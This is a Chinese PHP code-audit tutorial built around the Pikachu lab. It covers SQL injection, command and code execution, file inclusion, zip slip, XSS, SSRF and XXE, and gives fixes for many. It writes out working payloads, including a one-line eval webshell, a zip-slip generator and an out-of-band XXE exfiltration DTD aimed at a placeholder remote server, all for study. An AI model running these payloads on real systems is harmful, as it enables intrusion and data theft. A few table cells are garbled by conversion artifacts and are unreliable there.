TOC
php代码审计实践环境搭建
win系统的皮卡丘靶场搭建
下载与安装
-
解压并用 phpstudy 搭建网站

-
访问 pikaqiu.com/install.php 进入安装界面

-
找到对应文件修改数据库连接密码

-
重启服务,再访问一次网站,点击安装:

SQL注入
在程序中需要⽤SQL查询的功能特别多,如果将⽤户输⼊拼接到数据库将要执⾏的SQL语句中,那么将导致攻击者可以修改原有执⾏的SQL语句,从⽽造成SQL注⼊漏洞。
例子:
攻击者构造请求:
ini
?id=123 UNION SELECT name,password FROMusers; -- a

执⾏SQL语句的函数
| 函数/方法 | 函数/方法 |
|---|---|
| mysql_query | mysql_unbuffered_query |
| odbc_exec | mysqli::query⽤法 <math xmlns="http://www.w3.org/1998/Math/MathML"> m y s q l i = n e w < b r / > m y s q l i ( " l o c a l h o s t " , " m y u s e r " , " m y p a s s w o r d " , " w o r l d " ) ; mysqli = new<br/>mysqli("localhost", "my_user", "my_password","world"); </math>mysqli=new<br/>mysqli("localhost","myuser","mypassword","world");mysqli->query(); |
| mysqli_query | pg_query |
| mysql_db_query | pg_query_params |
| pg_send_query | sqlsrv_query |
| pg_send_query_params | pdo::query <math xmlns="http://www.w3.org/1998/Math/MathML"> p d o = n e w < b r / > P D O ( " m y s q l : h o s t = l o c a l h o s t ; d b n a m e = p h p d e m o " , " r o o t " , " 1234 " ) ; < b r / > pdo=new<br/>PDO("mysql:host=localhost;dbname=phpdemo","root","1234"); <br/> </math>pdo=new<br/>PDO("mysql:host=localhost;dbname=phpdemo","root","1234");<br/>pdo->query($sql); |
| SQLite3::query SQLite3::exec <math xmlns="http://www.w3.org/1998/Math/MathML"> d b = n e w < b r / > S Q L i t e 3 ( ′ m y s q l i t e d b . d b ′ ) ; db = new<br/>SQLite3('mysqlitedb.db'); </math>db=new<br/>SQLite3(′mysqlitedb.db′);db->query('SELECT bar FROM foo'); $db->exec('CREATE TABLE bar (barSTRING)'); |
常见过滤/防护
类型转换
将输⼊强制转换为整数/浮点 ⽤于整数/浮点类型的输⼊参数处理 可防⽌SQL注⼊
scss
intval($input)
floatval()
floor()
(int)$input
$input + 0
例子:
php
<?php
/*强制类型转换*/
$id=intval($_GET['id']); //因查询ID为整数 所以可以强制转换为整数
/*转义特殊字符 加上引号(字符串类型)*/
$id=$pdo->quote($_GET['name']);
/*预处理语句*/
$stmt =$pdo->prepare("SELECT id, name FROM users WHERE id=?;");
$stmt->execute([$_GET['id']]);//简单的预处理 完整使⽤⽅法⻅PHP⼿册
?>
特殊字符转义
addslashes 在单引号(')、双引号(")、反斜线(\)与 NULL前加上反斜线可⽤于防⽌SQL注⼊。
PDO::quote() 转义特殊字符 并添加引号。
magic_quotes_gpc
magic_quotes_gpc当magic_quotes_gpc=On时,如果post、get、cookie过来的数据有单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)等字符,PHP解析器就会⾃动增加转义字符"\"。
开启gpc : 打开php.ini 找到 magic_quotes_gpc = Off 设置成On 重启服务 即可开启
(对字符型有用,数字型没用)
绕过姿势
宽字节注入
如果mysql连接中有这样的语句:
php
mysql_query("SET NAMES 'gbk'");
set character_set_client=gbk
就有可能存在宽字节注⼊,该语句的作⽤是把传⼊的参数转换为GBK编码。这时候如果这样注⼊:id=5%df',就可以绕过addslashes()函数。
iconv() 和 mb_convert_encodeing() 函数导致的宽字节注⼊:
有时候在程序运⾏的时候,为了避免乱码,会将⼀些⽤户提交的GBK字符使⽤ iconv 函数(或 mb_convert_encoding )先转为 UTF-8 ,然后再拼接SQL语句带⼊数据库。
编码解码导致绕过
urldecode 编码注⼊:
id = urldecode($id) //注⼊语句进⾏两次编码,⾸先通过addslashes()过滤,然后urlencode解码
php
//%2527 第⼀次解码%25转换成% 再拼接27 变成%27 在进⾏解码等于'所以会造成注⼊
$id= $_GET['id'];
$id = addslashes($id);
$id = urldecode($id);
echo "select * from news where id='$id'";
id = rawurldecode($id) 和上⾯效果⼀样
$id = base64_decode($id) //⾸先通过addslashes()过滤,然后urlencode解码
json_decode 是php5.2.0之后新增的⼀个PHP内置函数,其作⽤是对JSON格式的字符串进⾏编码。(会吞掉一个/)
弱类型
在判断数据类型时,php有类型函数对其判断,php是⼀种弱类型,会⾃动转换类型。如果只是判断并没有赋值。可能会造成漏洞。
intval,整型转换函数
php
<?php
$id =isset($_GET['id'])?$_GET['id']:1;
//$id = intval($id);
//如果使⽤intval
if(intval($id)>99){
die("不符合条件");
}
$sql= "select * from news where id=$id";
echo $sql;

- in_array 、array_search
php
<?php
$id =isset($_GET['id'])?$_GET['id']:1;
//in_array 、array_search 如果第三个参数 没有设置成true 会出现弱类型漏洞
//例如 只要开头是数⼦且在数组内的内容即可绕过限制 例如哦1 union select 1,2,3 即可绕过限制。
$types=[1,2,3,4,5,6];
if(!in_array($id,$types)){
die("不符合条件");
}
$sql= "select * from news where id=$id";
echo $sql;


- swith
php
<?php
$id =isset($_GET['id'])?$_GET['id']:1;
//swith 也存在弱类型绕过1 union select 1,2,3--
switch ($id){
case 1:
$sql= "select * from news where id=$id";
break;
case 2:
$sql= "select * from news where id='2'";
break;i
default:
$sql= "select * from news where id='3'";
}
echo $sql;
is_numeric()函数用于检测变量是否为数字或数字字符串。mysql数据库会对结果进⾏解析成字符串存⼊到数据库中,如果这个字段再被取出来⼆次利⽤,就可能造成⼆次注⼊漏洞。
二次注入
⼆次注⼊的原理,在第⼀次进⾏数据库插⼊数据的时候,仅仅只是使⽤了 addslashes 或者是借助 magic_quotes_gpc 对其中的特殊字符进⾏了转义,然参数在过滤后会添加 "\" 进⾏转义,但是"\"并不会插⼊到数据库中,在写⼊数据库的时候还是保留了原来的数据。
php
<?php
$title = $_GET['title'];
$title = addslashes($title);
$sql="insert into news(title)values('$title')"; //注⼊单引号会⾃动' 变成\' 数据库就会存在单引号
if ($result = $conn->query($sql)) {
echo "success";
}
while ($row = $result->fetch_assoc()) {
//把'取出来再查询 这样就会存在注⼊。
if(!$result=$conn->query("select * from news where title='$row[title]'")){
die(mysqli_error($conn));
}
$row2 = $result->fetch_assoc();
var_dump($row2);
}
http头信息注⼊
常 程序员会设置全局过滤防⽌SQL注⼊,开启之后 GET POST COOKIE这些传⼊过来的值都会进⾏过滤。对http头信息的值不但是直接获取,⽽且不会对其进⾏过滤。
通过 getenv() 函数或者 $_SERVER 获取http头信息
php
$_SERVER['HTTP_USER_AGENT'] //获取浏览器信息
$_SERVER['HTTP_X_FORWARDED_FOR']//获取客户端ip
$_SERVER['HTTP_CLIENT_IP']//获取客户端ip
$_SERVER['HTTP_REFERER']//获取来源
命令注入
当应⽤需要调⽤⼀些外部程序时会⽤到⼀些系统命令的函数。应⽤在调⽤这些函数执⾏系统命令的时候,如果将⽤户的输⼊作为系统命令的参数拼接到命令⾏中,在没有过滤⽤户的输⼊情况下,会造成命令执⾏漏洞。
命令函数
-
system()
能够将字符串作为OS命令执⾏,⾃带输出功能。
php<?php $command = 'ping -c 4 '.$_GET['ip']; system($command); //system函数特性 执⾏结果会⾃动打印 -
exec()
能够将字符串作为OS命令执⾏,需要输出执⾏结果。返回结果是有限的。
php<?php $cmd = $_GET['cmd']; $output=null; if ($cmd) { echo "<pre>"; exec($cmd,$output); //默认是没有回显 需要填写第⼀个参数 或者使⽤echo 输出 默认输出最后⼀⾏ var_dump($output); //输出全部 echo "</pre>"; } -
shell_exec
通过 shell 执⾏命令并将完整的输出以字符串的⽅式返回
php<?php $cmd = $_GET['cmd']; if ($cmd) { echo "<pre>"; echo shell_exec($cmd); //默认不回显 需要输出 echo "</pre>"; } -
passthru
执⾏外部程序并且显示原始输出
php<?php $cmd = $_GET['cmd']; if ($cmd) { echo "<pre>"; passthru($cmd); //有回显 echo "</pre>"; } -
pcntl_exec
pcntl是linux下的⼀个扩展,可以⽀持php的多线程操作。pcntl_exec函数的作⽤是在当前进程空间执⾏指定程序,版本要求:PHP > 4.2.0
phppcntl_exec(string $path, array $args = [], array $env_vars = []): bool -
popen
打开⼀个指向进程的管道,该进程由派⽣给定的command 命令执⾏⽽产⽣。
phppopen(string $command,string $mode):resource|falsephp<?php $path = $_GET['path']; if ($path) { echo "<pre>"; echo popen($path, 'r'); echo "</pre>"; } -
proc_open
执⾏⼀个命令,并且打开⽤来输⼊/输出的⽂件指针。
-
反单引号(``)
在php中称之为执⾏运算符,PHP 将尝试将反引号中的内容作为shell 命令来执⾏,并将其输出信息返 回,使⽤反引号运算符的效果与函数shell_exec() 相同。
php<?php $cmd = $_GET['cmd']; if($cmd){ echo "<pre>"; echo `$cmd`; echo "</pre>"; } -
ob_start
输出存储在内部缓冲区中的内容,可以使⽤ob_end_flush() 函数。下⾯的代码,由于调⽤了ob_end_flush(),所以会调⽤ob_start(cmd)中的cmd,把我们输⼊的 _GET[a]作为cmd的参数。
php<?php $cmd = 'system'; ob_start($cmd); echo "$_GET[a]"; ob_end_flush(); //system($_GET[a]) ?>
常见bash shell
在代码审计中,发现命令执⾏漏洞,通常需要闭合或者改变它的运⾏顺序,可以使⽤命令连接符
| 符号 | 描述 | 示例 |
|---|---|---|
| <、> | 输⼊输出重定向 | echo abc >1.txt |
| a; b | 按照从左到右顺序执⾏命令 | id;whoami;ls |
| a| b | 将左侧命令的输出作为右侧命的输⼊ | ps -aux| grep root |
| a&& b | 与 | |
| a|| b | 或 |
mail 函数
参数含义分别表示如下:
- to,指定邮件接收者,即接收⼈
- subject,邮件的标题
- message,邮件的正⽂内容
- additional_headers,指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC
- additional_parameters,指定传递给发送程序sendmail的额外参数。
php
$to = 'Alice@example.com';
$subject = 'Hello Alice!';
$message='<?php phpinfo(); ?>';
$headers = "CC: somebodyelse@example.com";
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
mail($to, $subject, $message, $headers, $options);
执⾏后,查看log⽂件/var/www/html/rce.php
php
17220 <<<To:Alice@example.com
17220 <<<Subject: Hello Alice!
17220 <<<X-PHP-Originating-Script: 0:test.php
17220 <<<CC:somebodyelse@example.com
17220 <<<
17220 <<< <?php phpinfo(); ?>
17220 <<< [EOF]
对php mail函数使⽤时,应该特别注意第5个参数 additional_parameters 的使⽤,防⽌被攻击者 可控,注⼊-X参数,执⾏命令。
修复方案
⽅案⼀:使⽤过滤函数内置函数 escapeshellcmd(), escapeshellarg() ,过滤和转义输⼊中的特殊字符
escapeshellcmd():会在以下字符之前插⼊反斜线(\):&#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ' 和 "仅在不配对⼉的时候被转义。
escapeshellarg():将给字符串增加⼀个单引号并且能引⽤或者转码任何已经存在的单引号,这样以确保 能够直接将⼀个字符串传⼊shell 函数,并且还是确保安全的。
代码执行
在WEB中,PHP代码执⾏是指应⽤程序过滤不严,⽤户通过http请求将代码注⼊到应⽤中执⾏。
相关函数
eval
eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的PHP 代码,且必须以分号结尾。如果没有在代码字符串中调⽤return 语句,则返回 NULL。如果代码中存在解析错误,则eval() 函数返回 false。
php
<?php eval($_POST['cmd']);?> //一句话木马
正常⽤法是在字符串中
php
<?php
$str = $_GET['str'];
eval("$str;"); //字符串⾥⾯要⼜分号
assert
assert()功能是判断⼀个表达式是否成⽴,返回true or false,重点是函数会执⾏此表达式。
assert把整个字符串参数当php代码执⾏ assert在php中被认为是⼀个函数
php
assert($_GET['x']);
call_user_func
call_user_func 把第⼀个参数作为回调函数调⽤(回调函数是一种将函数作为参数传递给另一个函数的机制。)
php
call_user_func(callable $callback,mixed ...$args): mixed
第⼀个参数 callback 是被调⽤的回调函数,其余参数是回调函数的参数。
php
<?php
$str=$_GET['str'];
call_user_func('assert',$str); //assert 可以换成⾃定义函数
function callback($str){
eval($str);
}
call_user_func_array
调⽤回调函数,并把⼀个数组参数作为回调函数的参数。
php
mixed call_user_func_array (callable $callback , array$param_arr )
第⼀个参数作为回调函数(callback)调⽤,把参数数组作(param_arr)为回调函数的的参数传⼊。
create_function
create_function()函数会在内部执⾏ eval(),因此可以使⽤ } 对语句进⾏闭合,再加上恶意php代码,再⽤/*注释后⾯内容。
php
string create_function ( $args,$code )
<math xmlns="http://www.w3.org/1998/Math/MathML"> a r g s :它是⼀个字符串类型的函数参数 args:它是⼀个字符串类型的函数参数 </math>args:它是⼀个字符串类型的函数参数code:它是字符串类型的函数代码
php
<?php
$newfunc=create_function('$a,$b','return $a+$b;');
var_dump($newfunc(1,2));
<math xmlns="http://www.w3.org/1998/Math/MathML"> a ( a( </math>a(b)函数
由于PHP 的特性原因,PHP 的函数⽀持直接由拼接的⽅式调⽤。
php
<?php
$a=$_GET['a'];
$b=$_GET['b'];
$a($b); //var_dump(1)
修复方案
-
输⼊验证与过滤
使⽤⽩名单⽅式,仅允许合法的输⼊格式和数据。移除或转义输⼊中可能包含的危险字符。对于PHP代码,可以使⽤filter_var()等函数进⾏数据过滤。
-
避免使⽤动态执⾏函数
避免使⽤诸如eval()、create_function()、assert()、preg_replace()(带有/e修饰符)等会动态执⾏代码的函数。这些函数极易成为代码注⼊的⼊⼝。
-
禁⽤危险函数
在php.ini中禁⽤不安全的函数,⽐如eval()、exec()、system()、passthru()等。
文件包含
程序员在开发过程中会把经常使⽤的函数写好封装在⼀个单独的⽂件中,在使⽤时直接调⽤该⽂件。
| 函数/语法结构 | 描述 | 例⼦ |
|---|---|---|
| include | 包含并运⾏指定⽂件 ,执⾏出会抛出错误 | include 'vars.php'; |
| require | 同include 执⾏,出错会抛出警告 | require'somefile.php'; |
| require_once | 同require 但会检查之前是否已经包含该⽂件 确保不重复包含 | |
| include_once | 同include 但会检查之前是否已经包含该⽂件 确保不重复包含 |
本地包含
本地包含就是包含服务器上的⽂件,该漏洞通常需要参数后半部分可控或者参数完全可控才存在。如果有后缀限制则需要截断。
-
利⽤后缀
如果被包含⽂件的后缀是txt,则上传door.txt到⽹站上,然后进⾏包含
phplocal=../upload/door -
%00截断
magic_quotes_gpc = Off 并且 php版本<5.3
-
路径⻓度截断
php版本 < 5.2.8 并且 linux需要⽂件名⻓于4096,windows需要⻓于256
Windows下⽬录最⼤⻓度为256字节,超出的部分会被丢弃; Linux下⽬录最⼤⻓度为4096字节,超出的部分会被丢弃。
bashtest.txt/./././././././././././././././././././././././././././././././././ ./././././././././././././././././././././././././././././././././././././. /./././././././././././././././././././././././././././././././././././././ ././././././././././././././././././././././
远程包含
远程⽂件包含需要同时满⾜两个条件
- allow_url_fopen = On(是否允许打开远程⽂件)
- allow_url_include = On(是否允许include/require远程⽂件, 默认情况下是关闭的
如果条件满⾜,那么在远程服务上放置可以访问的php代码再进⾏远程加载即可
php
include.php?rce=http://192.168.10.248/php.txt
远程包含截断使⽤?、#(%23)截断,注意需要转码
利用姿势
- 包含上传⽂件 (上传头像图⽚等)
- 包含 data://(allow_url_include 设置为 on) 、php://filter(⽆任何条件) 或 php://input 伪协议 (allow_url_include 设置为 on)
- 包含⽇志,⽐如 Apache nginx 等web服务器访问⽇志,SSH FTP 等登陆错误⽇志, PHP框架⽇志
- 包含 session⽂件 (通常在临时⽬录下 (linux /tmp/ ) sess_会话ID⽂件)
- PHP间接或直接创建的其他⽂件, ⽐如数据库⽂件、缓存⽂件、应⽤⽇志等
文件操作
⽂件操作包括⽂件读取、⽂件删除、⽂件移动、⽂件修改以及⽂件上传。
php⽂件操作相关函数 www.php.net/manual/zh/b...
文件上传
服务端对上传的⽂件处理逻辑不够安全,则会导致上传漏洞。
漏洞条件:
- ⽂件可上传
- 知道⽂件上传路径
- 上传⽂件可以被访问
- 上传⽂件可以被执⾏(解析、.htaccess)
相关函数
-
move_uploaded_file (临时上传⽂件路径,⽬标⽂件路径);//移动临时上传⽂件
php<?php $uploaddir = '/var/www/uploads/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); echo '<pre>'; if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; } else { echo "Possible file upload attack!\n"; } echo 'Here is some more debugging info:'; print_r($_FILES); print "</pre>"; ?>流程:收到POST表单->随机⽂件名写⼊临时⽬录->(执⾏PHP⽂件处理逻辑->移动临时⽂件到保存位置)->删除临时⽂件(如果临时⽂件没有被移动)
注:只要PHP收到POST上传⽂件表单 哪怕php⻚⾯⼀⾏代码没有 都会将上传⽂件保存到临时⽬录 在请求结束后如果临时⽂件没有被移⾛就会被⾃动删除 从写⼊⽂件到删除⽂件有个短暂的窗⼝时间可⽤于⽂件包含
修复⽅案:
-
严格限制上传⽂件类型
⽂件类型⽩名单:只允许上传特定类型的⽂件(如图⽚、PDF等)。
⽂件内容检查:通过对⽂件的实际内容进⾏验证,确保⽂件的格式与其MIME类型匹配。
-
⽂件名处理
随机化⽂件名:将上传的⽂件重命名为随机的唯⼀名称
移除⽂件名中的特殊字符:过滤⽂件名中的特殊字符,如../、\、%00(空字符)等,防止路径遍历攻击
-
限制⽂件上传⽬录
将上传⽬录设置为不可执⾏:确保上传⽂件存放的⽬录不能执⾏脚本(如PHP、ASP等)。
将上传⽂件存储在Web根⽬录之外
-
文件写入
php
file_put_contents(路径,写⼊字符串); //直接将字符串写⼊⽂件(不存在会⾃动创建)
php
<?php
$filename=$_GET['filename'];
if(isset($filename)){
$content=$_GET['content'];
file_put_contents("data/".$filename,$content);
}
下⾯代码也可以达到同样效果
php
$fp = fopen(⽂件路径, "w"); //以写⼊模式打开⼀个⽂件 返回⽂件指针(不存在会⾃动创建)
fwrite($fp,写⼊字符串); //写⼊数据
fclose($fp); //关闭⽂件
关于php://filter在file_put_contents中的利用_php开启短标签后rot13就不能使用了-CSDN博客
文件读取
-
file_get_contents
inifile_get_contents.php?url=../../config/db.php -
其他⽂件读取函数
函数 描述 例子 file_get_contents 读⼊⽂件返回字符串 echo file_get_contents("flag.txt"); echo file_get_contents("www.bilibili.com/"); curl_setopt curl_exec Curl访问url获取信息 <math xmlns="http://www.w3.org/1998/Math/MathML"> u r l = url = </math>url=_GET['url']; curl($url); fsockopen 打开⼀个套接字连接(远程 tcp/udp raw) readfile 读取⼀个⽂件,并写⼊到输出缓冲 同file_get_contents fopen/fread/fgets/fgetss/fgetc /fgetcsv/fpassthru/fscanf 打开⽂件或者 URL 读取⽂件流 <math xmlns="http://www.w3.org/1998/Math/MathML"> f i l e = f o p e n ( " t e s t . t x t " , " r " ) ; < b r / > e c h o f r e a d ( file = fopen("test.txt","r"); <br/>echo fread( </math>file=fopen("test.txt","r");<br/>echofread(file,"1234"); fclose($file); file 把整个⽂件读⼊⼀个数组中 echo implode(''file('www.bilibili.com/')); highlight_file/show_source 语法⾼亮⼀个⽂件 highlight_file("1.php"); parse_ini_file 读取并解析⼀个ini配置⽂件 print_r(parse_ini_file('1.ini')); simplexml_load_file 读取⽂件作为XML⽂档解析
文件下载
在访问⻚⾯的时候读取指定⽂件,然后通过浏览器下载到本地。
全⽂搜索这⼏个函数
php
Header("Content-type: application/octet-stream");
file_get_contents
fread
readfile
文件解压(zip slip)
PHP所捆绑的zip扩展使⽤ZipArchive::extractTo()将⽤户上传的zip⽂档解压到临时⽬录,但在解压时没有正确地过滤⽂档中所存储的⽂件名,因此在解压包含有相对⽂件名的zip⽂档时可能导致在临时⽬录外创建或覆盖⽂件。
利⽤条件:PHP < 5.2.7,审计时重点查找 extractTo ⽅法
php
$zip = new \ZipArchive;
$zip->open('test_new.zip') //打开⼀个zip⽂件
$zip->extractTo('upload'); //将压缩包⽂件解压到upload⽬录下
$zip->close();//关闭zip
构造特殊zip压缩包
php
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("E:/qqq.txt", "../../../var/www/html/xixi.php", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
文件/目录删除
php
<?php
if(isset($_GET['url'])){
unlink($_GET['url']);
}
- unlink(⽂件路径)//删除⽂件
- rmdir(⽂件夹路径)//删除⽬录
常⻅攻击⼿法
- 删除lock⽂件(解除重复程序安装保护等安全限制) 删除⽹站关键⽂件(导致⽹站拒绝服务,数据丢失)
目录遍历
在⽹站开发中 需要遍历某个⽬录的⽂件,让客户端做选择,在程序中没有对路径进⾏限制,会导致任意⽬录穿越任意⽬录遍历和⽂件。
php
<?php
$dir =isset($_GET['dir'])?$_GET['dir']:"./";
if($dir){
loopDir($dir); //无过滤,直接将用户可控的$dir传入目录遍历函数
}
function loopDir($dir)
{
$handle = opendir($dir);
while (false !== ($file = readdir($handle))) {
if ($file != '.' && $file != '..') {
echo $file . '';
if (filetype($dir . '/' . $file) == 'dir') {
loopDir($dir . '/' . $file);
}
}
}
closedir($handle);
}
可以添加白名单或设置绝对路径
变量覆盖漏洞
变量覆盖即通过外部输⼊将某个变量的值给覆盖掉。
register_globals
全局变量注册,本特性已⾃PHP 5.3.0 起废弃并将⾃ PHP 5.4.0 起移除。
当在 php.ini 开启 register_globals= On 时,代码中的参数会被⽤户提交的参数覆盖掉。⽽ register_globals= Off 时,我们需要到特定的数组⾥去得到它。
php
<?php
echo "Register_globals: ". (int)ini_get("register_globals") . "<br/>";
//$auth = $_GET['auth'];
if($auth) {
echo "0";
}else{
echo "1";
}
当访问 http://127.0.0.1/1.php 时输出没有覆盖。当请求 http://127.0.0.1/1.php?auth=1 时会覆盖掉 $auth 输出覆盖。
extract()
extract() 函数从数组中将变量导⼊到当前的符号表。该函数使⽤数组键名作为变量名,使⽤数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的⼀个变量。
php
<?php
$auth=false;
extract($_GET);
if($auth){
echo "over";
}
同样请求 http://127.0.0.1/1.php?auth=1 时会覆盖掉 $auth 输出over。
$$
符号在php中叫做可变变量,可以使变量名动态设置。var 是⼀个正常变量,名称为:var,存储任何类型的值,如:string,integer,float 等。var 是⼀个**引⽤变量**,⽤于存储 var 的值。
php
<?php
$a='hello';
$$a='world';// $hello = 'world';
echo "$a ${$a}";
echo "$a $hello";
?>
输出为:
hello world
hello world
使⽤foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产⽣了变量覆盖漏洞。
php
<?php
foreach(array('_COOKIE','_POST','_GET') as $_request)
{ //$$_reques = $_GET
foreach($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
//$id = $_GET['id'];
$id = isset($id) ? $id: "test";
if($id === "CloudCrowSec") {
echo "flag{xxxxxxxxxx}";
} else{
echo "Nothing...";
}
?>
这⾥使⽤ GET 、POST 或 COOKIE 都能触发,传⼊ id=CloudCrowSec 后,在 foreach 语句中,$_key 为 id,$_value 为 CloudCrowSec ,进⽽ $$_key 为 $id,从⽽实现了变量覆盖输出 flag。
parse_str()
将字符串解析成多个变量
php
$a='aa';
$str="a=test";
parse_str($str);
echo ${a};
XSS
跨站脚本(攻击) 让⽤户浏览器执⾏到攻击者指定的JS脚本代码。xss漏洞分为三种,分别是 反射型xss、存储型xss、dom型xss。重点在反射型和存储型。
反射型XSS
反射型XSS是服务器后端处理时把处理不当的⽤户输⼊输出到⽹⻚ 导致⽤户浏览器执⾏恶意代码
php
<?php
echo 'Hello '.$_GET['name'].'!'; //在控制器活模板中直接echo
攻击代码:
php
?name=<script type="text/javascript">alert('XSS!');</script>
script 被作为 html 标签解析 执⾏其中的代码 弹出警告框 XSS!
防护方法:常使⽤ htmlspecialchars 和 htmlentities 函数转义⽤户的输⼊作为防护。
php输出函数:
| 函数名 | 功能描述 |
|---|---|
| echo() | 输出字符串 |
| print() | 输出⼀个或多个字符串 |
| print_r() | 打印关于变量的易于理解的信息 |
| printf() | 输出格式化字符串 |
| sprintf() | 把格式化的字符串写⼊⼀个变量中 |
| var_dump() | 输出变量的内容、类型或字符串的内容、类型、⻓度 |
| die() | 输出⼀条消息,并退出当前脚本 |
储存型XSS
将服务器储存的处理不当的⽤户输⼊输出到⽹⻚,导致⽤户浏览器执⾏恶意代码。
流程:攻击者输⼊->服务器储存->被害者请求⻚⾯->服务器调⽤储存并输出
XSS 常⻅于评论、留⾔、⽂章等。
防护
- 服务端返回HTTP头 添加内容安全策略 content-security-policy 头
- 正确设置安全策略可以有效减少未知XSS/html外部⽂件引⽤漏洞产⽣的危害
- COOKIES 添加 Httponly 属性 防⽌使⽤js读取⽤户cookies (js发起表单仍可携带cookies)
- htmlspecialchars() 将特殊字符转换为 HTML 实体,注意默认不转义单引号,需设置ENT_QUOTES常量
SSRF漏洞
SSRF(Server-side Request Forge, 服务端请求伪造),⼀般是由于服务端提供了从其他服务器获取数据但没有对地址或协议等进⾏过滤或限制造成的漏洞,通常利⽤SSRF进⾏内⽹探测 ⽂件读取等。
如果传⼊的参数 没有过滤 容易造成ssrf
php
fopen()
file_get_contents()
curl()
fsocksopen()
ssrf⽀持的协议
bash
http/https:主要⽤来探测内⽹服务,根据响应的状态判断内⽹端⼝及服务,可以结合如Struts2的
RCE来实现攻击;
file:读取服务器上的任意⽂件;
dict:查看安装软件版本信息、端⼝,操作内⽹Redis服务等;
gopher:能够将所有操作转换成数据流,并将数据流⼀次发送出去,可以⽤来探测内⽹的所有服务的所有漏洞,可利⽤来攻击Redis和PHP-FPM;
ftp/ftps:FTP匿名访问、爆破;
tftp:UDP协议扩展,发送UDP报⽂;
imap/imaps/pop3/smtp/smtps:爆破邮件⽤户名密码;
telnet:SSH/Telnet匿名访问及爆破;
例子
php
<?php
if(isset($_GET['url'])){
$curlobj = curl_init();//初始化⼀个cURL会话为curlobj
curl_setopt($curlobj,CURLOPT_POST, 0); // 设置URL选项
curl_setopt($curlobj,CURLOPT_URL,$_GET['url']);
curl_setopt($curlobj,CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj); // 抓取URL并传递给浏览器
curl_close($curlobj); // 关闭cURL资源,释放系统资源
echo $result;
}
使⽤file协议获取⽂件
ini
url=file://C:\1.txt
http协议访问端⼝
ini
访问远程ip
url=http://192.168.0.108:88
返回信息
nc -lvnp 88
可以使⽤ dict协议访问开放端⼝
ini
url=dict://127.0.0.1/info
如果CURLOPT_PROTOCOLS被启用,位域值会限定libcurl在传输过程中有哪些可使用的协议。
CSRF
跨站请求伪造(Cross-site request forgery),强制终端⽤户在当前对其身份验证后的web应⽤程序上执⾏⾮本意的操作。
当cookie处于有效状态时,受害者接收到攻击者的恶意链接,从而非本人进行违规操作。
防御
检查鉴权后的操作是否添加token/Referrer校验 拒绝空Referrer
XXE
XML是⼀种⽤来存储和传输数据的⽂本格式,类似于HTML。它⼴泛⽤于配置⽂件、数据传输等场景。
XXE漏洞出现在应⽤程序解析恶意的XML⽂件时。攻击者可以利⽤外部实体引⽤系统中的敏感⽂件或访问外部资源,导致信息泄露或进⾏其他恶意操作。
php
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->data;
相关函数
| 函数 | 描述 |
|---|---|
| DOMDocument:: loadXML | 加载解析XML |
| simplexml_load_string | 加载解析XML字符串 |
| simplexml_load_file | 读取⽂件作为XML⽂档解析 |
审计时如果发现使⽤了上⾯的函数,就要检查是否禁⽤了外部实体。
libxml_disable_entity_loader(true); //禁⽤外部实体使⽤到的函数 参数为true时禁⽤
(外部实体引用允许:XML文档 引用其他文件中的内容)
注意: php环境中libxml 版本>=2.9.0时外部实体默认禁⽤
回显
读取 hosts 或者 /etc/passwd
xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" >]>
<name>&xxe;</name>

伪造协议读取⽂件
xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">]>
<name>&xxe;</name>

在调试中发现加上<root>后无法正常读取 $data里的值

无回显
可以使⽤外带数据通道提取数据,先使⽤php://filter获取⽬标⽂件的内容,然后将内容以http请求发送到接受数据的服务器把读取的内容通过 test.dtd
vps操作
远程vps,test.dtd
xml
<!ENTITY % all
"<!ENTITY %send SYSTEM 'http://远程vps/receive.php?file=%file;'>"
>
%all;
远程vps, receive.php
php
<?php
if($_GET['file']){
file_put_contents("test.txt", $_GET['file']);
}
?>
payload
xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=你
想读取的⽂件">
<!ENTITY % dtd SYSTEM "http://远程vps/test.dtd">
%dtd;
%send;
]>
修复方案
- 禁⽤XML解析器中的外部实体解析。
- 使⽤安全的XML库,它们默认不⽀持外部实体。
- 验证和清理输⼊的XML内容,避免恶意内容被解析(比如system关键字)。
反序列化
序列化
序列化说通俗点就是将PHP中的值转化为⼀个字符串,这样有利于存储或传递 PHP 的值,同时不丢失其类型和结构。
php
class S{
public $test="pikachu";
}
$s=newS();
serialize($s);
序列化后得到的结果是这个样⼦的 :O:1:"S":1:{s:4:"test";s:7:"pikachu";}
makefile
O: 代表object
1: 代表对象名字⻓度为⼀个字符
S: 对象的名称
1: 代表对象⾥⾯有⼀个变量
s: 数据类型
4: 变量名称的⻓度
test: 变量名称
s: 数据类型
7: 变量值的⻓度
pikachu: 变量值
反序列化
反序列化就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使⽤。
漏洞
如果反序列化的内容是⽤户可以控制的,且后台不正当的使⽤了PHP中的魔法函数,就会导致安全问题。
scss
__construct() 当⼀个对象创建时被调⽤,反序列化不触发
__destruct() 当⼀个对象销毁时被调⽤
__wakeup() //执⾏unserialize()时,先会调⽤这个函数
__sleep() //执⾏serialize()时,先会调⽤这个函数
__call() //在对象上下⽂中调⽤不可访问的⽅法时触发
